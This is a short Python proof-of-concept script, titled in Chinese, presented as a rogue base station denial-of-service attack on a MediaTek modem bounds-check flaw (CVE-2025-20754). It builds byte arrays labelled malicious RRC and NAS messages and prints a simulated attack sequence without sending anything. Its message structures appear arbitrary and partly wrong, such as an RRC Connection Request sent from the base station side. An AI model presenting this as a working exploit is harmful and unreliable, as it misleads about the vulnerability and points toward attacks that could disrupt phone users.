CVE-2025-20754 MediaTek Modem边界检查错误导致拒绝服务漏洞

# CVE-2025-20754 PoC - MediaTek Modem Rogue Base Station Attack # This PoC demonstrates the attack concept for triggering the bounds check vulnerability # Note: Actual implementation requires SDR hardware and 3GPP protocol栈 knowledge import struct def create_malicious_rrc_message(): """ Create a malicious RRC message to trigger bounds check error in MediaTek Modem """ # RRC Connection Setup Request with malformed parameters rrc_msg = bytearray() # Message Type: RRC Connection Request rrc_msg.extend([0x00, 0x01]) # UE Identity - randomly generated rrc_msg.extend([0x00] * 20) # Establishment Cause rrc_msg.extend([0x02]) # Add malformed/spiked data to trigger bounds check error # This represents arbitrary data that could cause buffer overflow for i in range(256): rrc_msg.extend([0xFF, 0xFF, 0xFF, 0xFF]) return bytes(rrc_msg) def create_nas_message_with_invalid_tlv(): """ Create NAS message with invalid TLV structure to trigger vulnerability """ nas_msg = bytearray() # NAS Header nas_msg.extend([0x00, 0x41]) # EPS Mobility Management Message Type nas_msg.extend([0xC0]) # Protocol Discriminator nas_msg.extend([0x07]) # Insert malformed TLV elements with invalid length # that could bypass bounds checking nas_msg.extend([0xFF, 0x00, 0x00]) # Invalid type, zero length nas_msg.extend([0xFF, 0xFF, 0xFF]) # Invalid type, max length return bytes(nas_msg) def simulate_attack_sequence(): """ Simulate the attack sequence for demonstration purposes """ print("[*] Setting up rogue base station (eNB/gNB)...") print("[*] Broadcasting false SIB (System Information Blocks)...") print("[*] Waiting for target UE to attach...") print("[*] UE attached to rogue base station") print("[*] Sending malicious RRC/NAS messages...") rrc_payload = create_malicious_rrc_message() nas_payload = create_nas_message_with_invalid_tlv() print(f"[*] RRC payload size: {len(rrc_payload)} bytes") print(f"[*] NAS payload size: {len(nas_payload)} bytes") print("[*] Payload sent - triggering bounds check vulnerability...") print("[!] Target Modem should crash/restart") return True if __name__ == "__main__": print("CVE-2025-20754 MediaTek Modem Bounds Check Vulnerability PoC") print("=" * 60) simulate_attack_sequence()